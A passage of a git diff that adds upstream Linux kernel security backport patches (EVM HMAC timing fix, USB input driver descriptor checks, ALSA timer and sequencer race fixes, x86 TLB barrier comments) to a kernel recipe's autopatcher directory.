set bit 1 in next's mm_cpumask ++ * CPU 1: load from the PTE that CPU 0 writes (implicit) ++ * ++ * We need to prevent an outcome in which CPU 1 observes ++ * the new PTE value and CPU 0 observes bit 1 clear in ++ * mm_cpumask. (If that occurs, then the IPI will never ++ * be sent, and CPU 0's TLB will contain a stale entry.) ++ * ++ * The bad outcome can occur if either CPU's load is ++ * reordered before that CPU's store, so both CPUs much ++ * execute full barriers to prevent this from happening. ++ * ++ * Thus, switch_mm needs a full barrier between the ++ * store to mm_cpumask and any operation that could load ++ * from next->pgd. This barrier synchronizes with ++ * remote TLB flushers. Fortunately, load_cr3 is ++ * serializing and thus acts as a full barrier. ++ * ++ */ + load_cr3(next->pgd); + + /* Stop flush ipis for the previous mm */ +@@ -65,10 +90,15 @@ static inline void switch_mm(struct mm_struct *prev, struct mm_struct *next, + * schedule, protecting us from simultaneous changes. + */ + cpumask_set_cpu(cpu, mm_cpumask(next)); ++ + /* + * We were in lazy tlb mode and leave_mm disabled + * tlb flush IPI delivery. We must reload CR3 + * to make sure to use no freed page tables. ++ * ++ * As above, this is a barrier that forces ++ * TLB repopulation to be ordered after the ++ * store to mm_cpumask. + */ + load_cr3(next->pgd); + load_LDT_nolock(&next->context); +diff --git a/arch/x86/mm/tlb.c b/arch/x86/mm/tlb.c +index 282375f13c7ed..c26b610a604dd 100644 +--- a/arch/x86/mm/tlb.c ++++ b/arch/x86/mm/tlb.c +@@ -149,7 +149,9 @@ void flush_tlb_current_task(void) + + preempt_disable(); + ++ /* This is an implicit full barrier that synchronizes with switch_mm. */ + local_flush_tlb(); ++ + if (cpumask_any_but(mm_cpumask(mm), smp_processor_id()) < nr_cpu_ids) + flush_tlb_others(mm_cpumask(mm), mm, 0UL, TLB_FLUSH_ALL); + preempt_enable(); +@@ -188,11 +190,19 @@ void flush_tlb_mm_range(struct mm_struct *mm, unsigned long start, + unsigned act_entries, tlb_entries = 0; + + preempt_disable(); +- if (current->active_mm != mm) ++ if (current->active_mm != mm) { ++ /* Synchronize with switch_mm. */ ++ smp_mb(); ++ + goto flush_all; ++ } + + if (!current->mm) { + leave_mm(smp_processor_id()); ++ ++ /* Synchronize with switch_mm. */ ++ smp_mb(); ++ + goto flush_all; + } + +@@ -242,10 +252,18 @@ void flush_tlb_page(struct vm_area_struct *vma, unsigned long start) + preempt_disable(); + + if (current->active_mm == mm) { +- if (current->mm) ++ if (current->mm) { ++ /* ++ * Implicit full barrier (INVLPG) that synchronizes ++ * with switch_mm. ++ */ + __flush_tlb_one(start); +- else ++ } else { + leave_mm(smp_processor_id()); ++ ++ /* Synchronize with switch_mm. */ ++ smp_mb(); ++ } + } + + if (cpumask_any_but(mm_cpumask(mm), smp_processor_id()) < nr_cpu_ids) +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0204-d5a5d0bcb399-x86mm Improve switchmm barrier comments.patch b/recipes-kernel/linux/linux-bass/autopatcher/0204-d5a5d0bcb399-x86mm Improve switchmm barrier comments.patch new file mode 100644 index 0000000..55c9d0a --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0204-d5a5d0bcb399-x86mm Improve switchmm barrier comments.patch @@ -0,0 +1,71 @@ +From d5a5d0bcb399e6b275a65226c3b35c2659ecd64c Mon Sep 17 00:00:00 2001 +From: Andy Lutomirski +Date: Tue, 12 Jan 2016 12:47:40 -0800 +Subject: x86/mm: Improve switch_mm() barrier comments + +commit 4eaffdd5a5fe6ff9f95e1ab4de1ac904d5e0fa8b upstream. + +My previous comments were still a bit confusing and there was a +typo. Fix it up. + +Reported-by: Peter Zijlstra +Signed-off-by: Andy Lutomirski +Cc: Andy Lutomirski +Cc: Borislav Petkov +Cc: Brian Gerst +Cc: Dave Hansen +Cc: Denys Vlasenko +Cc: H. Peter Anvin +Cc: Linus Torvalds +Cc: Rik van Riel +Cc: Thomas Gleixner +Cc: stable@vger.kernel.org +Fixes: 71b3c126e611 ("x86/mm: Add barriers and document switch_mm()-vs-flush synchronization") +Link: http://lkml.kernel.org/r/0a0b43cdcdd241c5faaaecfbcc91a155ddedc9a1.1452631609.git.luto@kernel.org +Signed-off-by: Ingo Molnar +Signed-off-by: Greg Kroah-Hartman +Signed-off-by: Willy Tarreau +--- + arch/x86/include/asm/mmu_context.h | 15 ++++++++------- + 1 file changed, 8 insertions(+), 7 deletions(-) + +diff --git a/arch/x86/include/asm/mmu_context.h b/arch/x86/include/asm/mmu_context.h +index c0d2f6b668ece..29a3d1b00ca97 100644 +--- a/arch/x86/include/asm/mmu_context.h ++++ b/arch/x86/include/asm/mmu_context.h +@@ -58,14 +58,16 @@ static inline void switch_mm(struct mm_struct *prev, struct mm_struct *next, + * be sent, and CPU 0's TLB will contain a stale entry.) + * + * The bad outcome can occur if either CPU's load is +- * reordered before that CPU's store, so both CPUs much ++ * reordered before that CPU's store, so both CPUs must + * execute full barriers to prevent this from happening. + * + * Thus, switch_mm needs a full barrier between the + * store to mm_cpumask and any operation that could load +- * from next->pgd. This barrier synchronizes with +- * remote TLB flushers. Fortunately, load_cr3 is +- * serializing and thus acts as a full barrier. ++ * from next->pgd. TLB fills are special and can happen ++ * due to instruction fetches or for no reason at all, ++ * and neither LOCK nor MFENCE orders them. ++ * Fortunately, load_cr3() is serializing and gives the ++ * ordering guarantee we need. + * + */ + load_cr3(next->pgd); +@@ -96,9 +98,8 @@ static inline void switch_mm(struct mm_struct *prev, struct mm_struct *next, + * tlb flush IPI delivery. We must reload CR3 + * to make sure to use no freed page tables. + * +- * As above, this is a barrier that forces +- * TLB repopulation to be ordered after the +- * store to mm_cpumask. ++ * As above, load_cr3() is serializing and orders TLB ++ * fills with respect to the mm_cpumask write. + */ + load_cr3(next->pgd); + load_LDT_nolock(&next->context); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0205-37510515d6a7-EVM Use cryptomemneq for digest comparisons.patch b/recipes-kernel/linux/linux-bass/autopatcher/0205-37510515d6a7-EVM Use cryptomemneq for digest comparisons.patch new file mode 100644 index 0000000..cedb29c --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0205-37510515d6a7-EVM Use cryptomemneq for digest comparisons.patch @@ -0,0 +1,48 @@ +From 37510515d6a758fea2e79d9b887c4d13efabe1e0 Mon Sep 17 00:00:00 2001 +From: Ryan Ware +Date: Thu, 11 Feb 2016 15:58:44 -0800 +Subject: EVM: Use crypto_memneq() for digest comparisons + +commit 613317bd212c585c20796c10afe5daaa95d4b0a1 upstream. + +This patch fixes vulnerability CVE-2016-2085. The problem exists +because the vm_verify_hmac() function includes a use of memcmp(). +Unfortunately, this allows timing side channel attacks; specifically +a MAC forgery complexity drop from 2^128 to 2^12. This patch changes +the memcmp() to the cryptographically safe crypto_memneq(). + +Reported-by: Xiaofei Rex Guo +Signed-off-by: Ryan Ware +Cc: stable@vger.kernel.org +Signed-off-by: Mimi Zohar +Signed-off-by: James Morris +Cc: Jason A. Donenfeld +Signed-off-by: Willy Tarreau +--- + security/integrity/evm/evm_main.c | 3 ++- + 1 file changed, 2 insertions(+), 1 deletion(-) + +diff --git a/security/integrity/evm/evm_main.c b/security/integrity/evm/evm_main.c +index b980a6ce5c79..3db2bf1f0a6c 100644 +--- a/security/integrity/evm/evm_main.c ++++ b/security/integrity/evm/evm_main.c +@@ -20,6 +20,7 @@ + #include + #include + #include ++#include + #include "evm.h" + + int evm_initialized; +@@ -128,7 +129,7 @@ static enum integrity_status evm_verify_hmac(struct dentry *dentry, + xattr_value_len, calc.digest); + if (rc) + break; +- rc = memcmp(xattr_data->digest, calc.digest, ++ rc = crypto_memneq(xattr_data->digest, calc.digest, + sizeof(calc.digest)); + if (rc) + rc = -EINVAL; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0206-58da198d9900-atl2 Disable unimplemented scattergather feature.patch b/recipes-kernel/linux/linux-bass/autopatcher/0206-58da198d9900-atl2 Disable unimplemented scattergather feature.patch new file mode 100644 index 0000000..c634cad --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0206-58da198d9900-atl2 Disable unimplemented scattergather feature.patch @@ -0,0 +1,43 @@ +From 58da198d99004f57a8f782869f0618d6d8049970 Mon Sep 17 00:00:00 2001 +From: Ben Hutchings +Date: Wed, 20 Apr 2016 23:23:08 +0100 +Subject: atl2: Disable unimplemented scatter/gather feature + +commit f43bfaeddc79effbf3d0fcb53ca477cca66f3db8 upstream. + +atl2 includes NETIF_F_SG in hw_features even though it has no support +for non-linear skbs. This bug was originally harmless since the +driver does not claim to implement checksum offload and that used to +be a requirement for SG. + +Now that SG and checksum offload are independent features, if you +explicitly enable SG *and* use one of the rare protocols that can use +SG without checkusm offload, this potentially leaks sensitive +information (before you notice that it just isn't working). Therefore +this obscure bug has been designated CVE-2016-2117. + +Reported-by: Justin Yackoski +Signed-off-by: Ben Hutchings +Fixes: ec5f06156423 ("net: Kill link between CSUM and SG features.") +Signed-off-by: David S. Miller +Signed-off-by: Willy Tarreau +--- + drivers/net/ethernet/atheros/atlx/atl2.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/drivers/net/ethernet/atheros/atlx/atl2.c b/drivers/net/ethernet/atheros/atlx/atl2.c +index 265ce1b752ed0..96fe542b4acb5 100644 +--- a/drivers/net/ethernet/atheros/atlx/atl2.c ++++ b/drivers/net/ethernet/atheros/atlx/atl2.c +@@ -1413,7 +1413,7 @@ static int atl2_probe(struct pci_dev *pdev, const struct pci_device_id *ent) + + err = -EIO; + +- netdev->hw_features = NETIF_F_SG | NETIF_F_HW_VLAN_CTAG_RX; ++ netdev->hw_features = NETIF_F_HW_VLAN_CTAG_RX; + netdev->features |= (NETIF_F_HW_VLAN_CTAG_TX | NETIF_F_HW_VLAN_CTAG_RX); + + /* Init PHY as early as possible due to power saving issue */ +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0207-0db38337a504-Input atiremote2 fix crashes on detecting device with invalid.patch b/recipes-kernel/linux/linux-bass/autopatcher/0207-0db38337a504-Input atiremote2 fix crashes on detecting device with invalid.patch new file mode 100644 index 0000000..9b2dd56 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0207-0db38337a504-Input atiremote2 fix crashes on detecting device with invalid.patch @@ -0,0 +1,112 @@ +From 0db38337a504f9b783e7244703b8c090f8cbf2ad Mon Sep 17 00:00:00 2001 +From: Vladis Dronov +Date: Wed, 23 Mar 2016 11:53:46 -0700 +Subject: Input: ati_remote2 - fix crashes on detecting device with invalid + descriptor + +commit 950336ba3e4a1ffd2ca60d29f6ef386dd2c7351d upstream. + +The ati_remote2 driver expects at least two interfaces with one +endpoint each. If given malicious descriptor that specify one +interface or no endpoints, it will crash in the probe function. +Ensure there is at least two interfaces and one endpoint for each +interface before using it. + +The full disclosure: http://seclists.org/bugtraq/2016/Mar/90 + +Reported-by: Ralf Spenneberg +Signed-off-by: Vladis Dronov +Cc: stable@vger.kernel.org +Signed-off-by: Dmitry Torokhov +Signed-off-by: Willy Tarreau +--- + drivers/input/misc/ati_remote2.c | 36 ++++++++++++++++++++++++++++++------ + 1 file changed, 30 insertions(+), 6 deletions(-) + +diff --git a/drivers/input/misc/ati_remote2.c b/drivers/input/misc/ati_remote2.c +index f63341f20b91a..e8c6a4842e91c 100644 +--- a/drivers/input/misc/ati_remote2.c ++++ b/drivers/input/misc/ati_remote2.c +@@ -817,26 +817,49 @@ static int ati_remote2_probe(struct usb_interface *interface, const struct usb_d + + ar2->udev = udev; + ++ /* Sanity check, first interface must have an endpoint */ ++ if (alt->desc.bNumEndpoints < 1 || !alt->endpoint) { ++ dev_err(&interface->dev, ++ "%s(): interface 0 must have an endpoint\n", __func__); ++ r = -ENODEV; ++ goto fail1; ++ } + ar2->intf[0] = interface; + ar2->ep[0] = &alt->endpoint[0].desc; + ++ /* Sanity check, the device must have two interfaces */ + ar2->intf[1] = usb_ifnum_to_if(udev, 1); ++ if ((udev->actconfig->desc.bNumInterfaces < 2) || !ar2->intf[1]) { ++ dev_err(&interface->dev, "%s(): need 2 interfaces, found %d\n", ++ __func__, udev->actconfig->desc.bNumInterfaces); ++ r = -ENODEV; ++ goto fail1; ++ } ++ + r = usb_driver_claim_interface(&ati_remote2_driver, ar2->intf[1], ar2); + if (r) + goto fail1; ++ ++ /* Sanity check, second interface must have an endpoint */ + alt = ar2->intf[1]->cur_altsetting; ++ if (alt->desc.bNumEndpoints < 1 || !alt->endpoint) { ++ dev_err(&interface->dev, ++ "%s(): interface 1 must have an endpoint\n", __func__); ++ r = -ENODEV; ++ goto fail2; ++ } + ar2->ep[1] = &alt->endpoint[0].desc; + + r = ati_remote2_urb_init(ar2); + if (r) +- goto fail2; ++ goto fail3; + + ar2->channel_mask = channel_mask; + ar2->mode_mask = mode_mask; + + r = ati_remote2_setup(ar2, ar2->channel_mask); + if (r) +- goto fail2; ++ goto fail3; + + usb_make_path(udev, ar2->phys, sizeof(ar2->phys)); + strlcat(ar2->phys, "/input0", sizeof(ar2->phys)); +@@ -845,11 +868,11 @@ static int ati_remote2_probe(struct usb_interface *interface, const struct usb_d + + r = sysfs_create_group(&udev->dev.kobj, &ati_remote2_attr_group); + if (r) +- goto fail2; ++ goto fail3; + + r = ati_remote2_input_init(ar2); + if (r) +- goto fail3; ++ goto fail4; + + usb_set_intfdata(interface, ar2); + +@@ -857,10 +880,11 @@ static int ati_remote2_probe(struct usb_interface *interface, const struct usb_d + + return 0; + +- fail3: ++ fail4: + sysfs_remove_group(&udev->dev.kobj, &ati_remote2_attr_group); +- fail2: ++ fail3: + ati_remote2_urb_cleanup(ar2); ++ fail2: + usb_driver_release_interface(&ati_remote2_driver, ar2->intf[1]); + fail1: + kfree(ar2); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0208-67352ca5b316-Input powermate fix oops with malicious USB descriptors.patch b/recipes-kernel/linux/linux-bass/autopatcher/0208-67352ca5b316-Input powermate fix oops with malicious USB descriptors.patch new file mode 100644 index 0000000..96371a1 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0208-67352ca5b316-Input powermate fix oops with malicious USB descriptors.patch @@ -0,0 +1,41 @@ +From 67352ca5b3169980183c5912386c44aa47a19435 Mon Sep 17 00:00:00 2001 +From: Josh Boyer +Date: Mon, 14 Mar 2016 09:33:40 -0700 +Subject: Input: powermate - fix oops with malicious USB descriptors + +commit 9c6ba456711687b794dcf285856fc14e2c76074f upstream. + +The powermate driver expects at least one valid USB endpoint in its +probe function. If given malicious descriptors that specify 0 for +the number of endpoints, it will crash. Validate the number of +endpoints on the interface before using them. + +The full report for this issue can be found here: +http://seclists.org/bugtraq/2016/Mar/85 + +Reported-by: Ralf Spenneberg +Cc: stable +Signed-off-by: Josh Boyer +Signed-off-by: Dmitry Torokhov +Signed-off-by: Willy Tarreau +--- + drivers/input/misc/powermate.c | 3 +++ + 1 file changed, 3 insertions(+) + +diff --git a/drivers/input/misc/powermate.c b/drivers/input/misc/powermate.c +index 49c0c3ebd3214..21ce1cf757bb9 100644 +--- a/drivers/input/misc/powermate.c ++++ b/drivers/input/misc/powermate.c +@@ -308,6 +308,9 @@ static int powermate_probe(struct usb_interface *intf, const struct usb_device_i + int error = -ENOMEM; + + interface = intf->cur_altsetting; ++ if (interface->desc.bNumEndpoints < 1) ++ return -EINVAL; ++ + endpoint = &interface->endpoint[0].desc; + if (!usb_endpoint_is_int_in(endpoint)) + return -EIO; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0209-adaad9d86610-Input gtco fix crash on detecting device without endpoints.patch b/recipes-kernel/linux/linux-bass/autopatcher/0209-adaad9d86610-Input gtco fix crash on detecting device without endpoints.patch new file mode 100644 index 0000000..b497e73 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0209-adaad9d86610-Input gtco fix crash on detecting device without endpoints.patch @@ -0,0 +1,59 @@ +From adaad9d866105bcb8f87293a0a675f573a39129d Mon Sep 17 00:00:00 2001 +From: Vladis Dronov +Date: Thu, 31 Mar 2016 10:53:42 -0700 +Subject: Input: gtco - fix crash on detecting device without endpoints + +commit 162f98dea487206d9ab79fc12ed64700667a894d upstream. + +The gtco driver expects at least one valid endpoint. If given malicious +descriptors that specify 0 for the number of endpoints, it will crash in +the probe function. Ensure there is at least one endpoint on the interface +before using it. + +Also let's fix a minor coding style issue. + +The full correct report of this issue can be found in the public +Red Hat Bugzilla: + +https://bugzilla.redhat.com/show_bug.cgi?id=1283385 + +Reported-by: Ralf Spenneberg +Signed-off-by: Vladis Dronov +Cc: stable@vger.kernel.org +Signed-off-by: Dmitry Torokhov +Signed-off-by: Willy Tarreau +--- + drivers/input/tablet/gtco.c | 10 +++++++++- + 1 file changed, 9 insertions(+), 1 deletion(-) + +diff --git a/drivers/input/tablet/gtco.c b/drivers/input/tablet/gtco.c +index 29e01ab6859f2..a9f8f925ba2b2 100644 +--- a/drivers/input/tablet/gtco.c ++++ b/drivers/input/tablet/gtco.c +@@ -869,6 +869,14 @@ static int gtco_probe(struct usb_interface *usbinterface, + goto err_free_buf; + } + ++ /* Sanity check that a device has an endpoint */ ++ if (usbinterface->altsetting[0].desc.bNumEndpoints < 1) { ++ dev_err(&usbinterface->dev, ++ "Invalid number of endpoints\n"); ++ error = -EINVAL; ++ goto err_free_urb; ++ } ++ + /* + * The endpoint is always altsetting 0, we know this since we know + * this device only has one interrupt endpoint +@@ -890,7 +898,7 @@ static int gtco_probe(struct usb_interface *usbinterface, + * HID report descriptor + */ + if (usb_get_extra_descriptor(usbinterface->cur_altsetting, +- HID_DEVICE_TYPE, &hid_desc) != 0){ ++ HID_DEVICE_TYPE, &hid_desc) != 0) { + dev_err(&usbinterface->dev, + "Can't retrieve exta USB descriptor to get hid report descriptor length\n"); + error = -EIO; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0210-482c4c1a74ea-ALSA usbaudio avoid freeing umidi object twice.patch b/recipes-kernel/linux/linux-bass/autopatcher/0210-482c4c1a74ea-ALSA usbaudio avoid freeing umidi object twice.patch new file mode 100644 index 0000000..93528ac --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0210-482c4c1a74ea-ALSA usbaudio avoid freeing umidi object twice.patch @@ -0,0 +1,36 @@ +From 482c4c1a74eab8c45ece6b353a92d65154b7ea98 Mon Sep 17 00:00:00 2001 +From: Andrey Konovalov +Date: Sat, 13 Feb 2016 11:08:06 +0300 +Subject: ALSA: usb-audio: avoid freeing umidi object twice + +commit 07d86ca93db7e5cdf4743564d98292042ec21af7 upstream. + +The 'umidi' object will be free'd on the error path by snd_usbmidi_free() +when tearing down the rawmidi interface. So we shouldn't try to free it +in snd_usbmidi_create() after having registered the rawmidi interface. + +Found by KASAN. + +Signed-off-by: Andrey Konovalov +Acked-by: Clemens Ladisch +Signed-off-by: Takashi Iwai +Signed-off-by: Greg Kroah-Hartman +--- + sound/usb/midi.c | 1 - + 1 file changed, 1 deletion(-) + +diff --git a/sound/usb/midi.c b/sound/usb/midi.c +index dabbe05d17f5..37ecba340876 100644 +--- a/sound/usb/midi.c ++++ b/sound/usb/midi.c +@@ -2291,7 +2291,6 @@ int snd_usbmidi_create(struct snd_card *card, + else + err = snd_usbmidi_create_endpoints(umidi, endpoints); + if (err < 0) { +- snd_usbmidi_free(umidi); + return err; + } + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0211-b5a663aa426f-PATCH ALSA timer Harden slave timer list handling.patch b/recipes-kernel/linux/linux-bass/autopatcher/0211-b5a663aa426f-PATCH ALSA timer Harden slave timer list handling.patch new file mode 100644 index 0000000..b317ec2 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0211-b5a663aa426f-PATCH ALSA timer Harden slave timer list handling.patch @@ -0,0 +1,98 @@ +From b5a663aa426f4884c71cd8580adae73f33570f0d Mon Sep 17 00:00:00 2001 +From: Takashi Iwai +Date: Thu, 14 Jan 2016 16:30:58 +0100 +Subject: [PATCH] ALSA: timer: Harden slave timer list handling + +A slave timer instance might be still accessible in a racy way while +operating the master instance as it lacks of locking. Since the +master operation is mostly protected with timer->lock, we should cope +with it while changing the slave instance, too. Also, some linked +lists (active_list and ack_list) of slave instances aren't unlinked +immediately at stopping or closing, and this may lead to unexpected +accesses. + +This patch tries to address these issues. It adds spin lock of +timer->lock (either from master or slave, which is equivalent) in a +few places. For avoiding a deadlock, we ensure that the global +slave_active_lock is always locked at first before each timer lock. + +Also, ack and active_list of slave instances are properly unlinked at +snd_timer_stop() and snd_timer_close(). + +Last but not least, remove the superfluous call of _snd_timer_stop() +at removing slave links. This is a noop, and calling it may confuse +readers wrt locking. Further cleanup will follow in a later patch. + +Actually we've got reports of use-after-free by syzkaller fuzzer, and +this hopefully fixes these issues. + +Reported-by: Dmitry Vyukov +Cc: +Signed-off-by: Takashi Iwai +--- + sound/core/timer.c | 18 ++++++++++++++---- + 1 file changed, 14 insertions(+), 4 deletions(-) + +diff --git a/sound/core/timer.c b/sound/core/timer.c +index 3810ee8f12051..4e8d7bfffff6b 100644 +--- a/sound/core/timer.c ++++ b/sound/core/timer.c +@@ -215,11 +215,13 @@ static void snd_timer_check_master(struct snd_timer_instance *master) + slave->slave_id == master->slave_id) { + list_move_tail(&slave->open_list, &master->slave_list_head); + spin_lock_irq(&slave_active_lock); ++ spin_lock(&master->timer->lock); + slave->master = master; + slave->timer = master->timer; + if (slave->flags & SNDRV_TIMER_IFLG_RUNNING) + list_add_tail(&slave->active_list, + &master->slave_active_head); ++ spin_unlock(&master->timer->lock); + spin_unlock_irq(&slave_active_lock); + } + } +@@ -346,15 +348,18 @@ int snd_timer_close(struct snd_timer_instance *timeri) + timer->hw.close) + timer->hw.close(timer); + /* remove slave links */ ++ spin_lock_irq(&slave_active_lock); ++ spin_lock(&timer->lock); + list_for_each_entry_safe(slave, tmp, &timeri->slave_list_head, + open_list) { +- spin_lock_irq(&slave_active_lock); +- _snd_timer_stop(slave, 1, SNDRV_TIMER_EVENT_RESOLUTION); + list_move_tail(&slave->open_list, &snd_timer_slave_list); + slave->master = NULL; + slave->timer = NULL; +- spin_unlock_irq(&slave_active_lock); ++ list_del_init(&slave->ack_list); ++ list_del_init(&slave->active_list); + } ++ spin_unlock(&timer->lock); ++ spin_unlock_irq(&slave_active_lock); + mutex_unlock(®ister_mutex); + } + out: +@@ -441,9 +446,12 @@ static int snd_timer_start_slave(struct snd_timer_instance *timeri) + + spin_lock_irqsave(&slave_active_lock, flags); + timeri->flags |= SNDRV_TIMER_IFLG_RUNNING; +- if (timeri->master) ++ if (timeri->master && timeri->timer) { ++ spin_lock(&timeri->timer->lock); + list_add_tail(&timeri->active_list, + &timeri->master->slave_active_head); ++ spin_unlock(&timeri->timer->lock); ++ } + spin_unlock_irqrestore(&slave_active_lock, flags); + return 1; /* delayed start */ + } +@@ -489,6 +497,8 @@ static int _snd_timer_stop(struct snd_timer_instance * timeri, + if (!keep_flag) { + spin_lock_irqsave(&slave_active_lock, flags); + timeri->flags &= ~SNDRV_TIMER_IFLG_RUNNING; ++ list_del_init(&timeri->ack_list); ++ list_del_init(&timeri->active_list); + spin_unlock_irqrestore(&slave_active_lock, flags); + } + goto __end; diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0212-0bc45d7712ea-usb fserial Check for SMD data length in GSERIOCTL.patch b/recipes-kernel/linux/linux-bass/autopatcher/0212-0bc45d7712ea-usb fserial Check for SMD data length in GSERIOCTL.patch new file mode 100644 index 0000000..0fc5678 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0212-0bc45d7712ea-usb fserial Check for SMD data length in GSERIOCTL.patch @@ -0,0 +1,37 @@ +From 0bc45d7712eabe315ce8299a49d16433c3801156 Mon Sep 17 00:00:00 2001 +From: Manu Gautam +Date: Tue, 5 Apr 2016 15:20:47 +0530 +Subject: usb: f_serial: Check for SMD data length in GSER_IOCTL + +If user tries to send SMD data more than the driver +buffer can handle then fail the same and print +error message. This smd_write is exposed to userspace +through ioctl using a misc device. + +Change-Id: Ie8a1c1c0799cd10cef512ad6b1e1e95001dd43b2 +Signed-off-by: Manu Gautam +--- + drivers/usb/gadget/f_serial.c | 7 +++++++ + 1 file changed, 7 insertions(+) + +diff --git a/drivers/usb/gadget/f_serial.c b/drivers/usb/gadget/f_serial.c +index 8d510e1..4e84de8 100644 +--- a/drivers/usb/gadget/f_serial.c ++++ b/drivers/usb/gadget/f_serial.c +@@ -1361,6 +1361,13 @@ static long gser_ioctl(struct file *fp, unsigned cmd, unsigned long arg) + smd_port_num = + gserial_ports[gser->port_num].client_port_num; + ++ if (smd_write_arg.size > GSERIAL_BUF_LEN) { ++ pr_err("%s: Invalid size:%u, max: %u", __func__, ++ smd_write_arg.size, GSERIAL_BUF_LEN); ++ ret = -EINVAL; ++ break; ++ } ++ + pr_debug("%s: Copying %d bytes from user buffer to local\n", + __func__, smd_write_arg.size); + +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0213-b85a6198e28f-ALSA seq Fix missing NULL check at removeevents ioctl.patch b/recipes-kernel/linux/linux-bass/autopatcher/0213-b85a6198e28f-ALSA seq Fix missing NULL check at removeevents ioctl.patch new file mode 100644 index 0000000..a827ef6 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0213-b85a6198e28f-ALSA seq Fix missing NULL check at removeevents ioctl.patch @@ -0,0 +1,36 @@ +From b85a6198e28f573d6df99522782aa09948258d19 Mon Sep 17 00:00:00 2001 +From: Takashi Iwai +Date: Tue, 12 Jan 2016 12:38:02 +0100 +Subject: ALSA: seq: Fix missing NULL check at remove_events ioctl + +commit 030e2c78d3a91dd0d27fef37e91950dde333eba1 upstream. + +snd_seq_ioctl_remove_events() calls snd_seq_fifo_clear() +unconditionally even if there is no FIFO assigned, and this leads to +an Oops due to NULL dereference. The fix is just to add a proper NULL +check. + +Reported-by: Dmitry Vyukov +Tested-by: Dmitry Vyukov +Signed-off-by: Takashi Iwai +Signed-off-by: Greg Kroah-Hartman +--- + sound/core/seq/seq_clientmgr.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/sound/core/seq/seq_clientmgr.c b/sound/core/seq/seq_clientmgr.c +index 4dc6bae80e15..ecfbf5f39d38 100644 +--- a/sound/core/seq/seq_clientmgr.c ++++ b/sound/core/seq/seq_clientmgr.c +@@ -1950,7 +1950,7 @@ static int snd_seq_ioctl_remove_events(struct snd_seq_client *client, + * No restrictions so for a user client we can clear + * the whole fifo + */ +- if (client->type == USER_CLIENT) ++ if (client->type == USER_CLIENT && client->data.user.fifo) + snd_seq_fifo_clear(client->data.user.fifo); + } + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0214-6e29b1cc3071-ALSA seq Fix race at timer setup and close.patch b/recipes-kernel/linux/linux-bass/autopatcher/0214-6e29b1cc3071-ALSA seq Fix race at timer setup and close.patch new file mode 100644 index 0000000..24b0740 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0214-6e29b1cc3071-ALSA seq Fix race at timer setup and close.patch @@ -0,0 +1,40 @@ +From 6e29b1cc3071f1c41a943e8e873f34e454428bda Mon Sep 17 00:00:00 2001 +From: Takashi Iwai +Date: Tue, 12 Jan 2016 15:36:27 +0100 +Subject: ALSA: seq: Fix race at timer setup and close + +commit 3567eb6af614dac436c4b16a8d426f9faed639b3 upstream. + +ALSA sequencer code has an open race between the timer setup ioctl and +the close of the client. This was triggered by syzkaller fuzzer, and +a use-after-free was caught there as a result. + +This patch papers over it by adding a proper queue->timer_mutex lock +around the timer-related calls in the relevant code path. + +Reported-by: Dmitry Vyukov +Tested-by: Dmitry Vyukov +Signed-off-by: Takashi Iwai +Signed-off-by: Greg Kroah-Hartman +--- + sound/core/seq/seq_queue.c | 2 ++ + 1 file changed, 2 insertions(+) + +diff --git a/sound/core/seq/seq_queue.c b/sound/core/seq/seq_queue.c +index f9077361c119..4c9aa462de9b 100644 +--- a/sound/core/seq/seq_queue.c ++++ b/sound/core/seq/seq_queue.c +@@ -144,8 +144,10 @@ static struct snd_seq_queue *queue_new(int owner, int locked) + static void queue_delete(struct snd_seq_queue *q) + { + /* stop and release the timer */ ++ mutex_lock(&q->timer_mutex); + snd_seq_timer_stop(q->timer); + snd_seq_timer_close(q); ++ mutex_unlock(&q->timer_mutex); + /* wait until access free */ + snd_use_lock_sync(&q->use_lock); + /* release resources... */ +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0215-fd6788c0ba7a-ALSA timer Fix double unlink of activelist.patch b/recipes-kernel/linux/linux-bass/autopatcher/0215-fd6788c0ba7a-ALSA timer Fix double unlink of activelist.patch new file mode 100644 index 0000000..20a837e --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0215-fd6788c0ba7a-ALSA timer Fix double unlink of activelist.patch @@ -0,0 +1,39 @@ +From fd6788c0ba7aaa46f47f90166759ae32c06c5abd Mon Sep 17 00:00:00 2001 +From: Takashi Iwai +Date: Wed, 13 Jan 2016 21:35:06 +0100 +Subject: ALSA: timer: Fix double unlink of active_list + +commit ee8413b01045c74340aa13ad5bdf905de32be736 upstream. + +ALSA timer instance object has a couple of linked lists and they are +unlinked unconditionally at snd_timer_stop(). Meanwhile +snd_timer_interrupt() unlinks it, but it calls list_del() which leaves +the element list itself unchanged. This ends up with unlinking twice, +and it was caught by syzkaller fuzzer. + 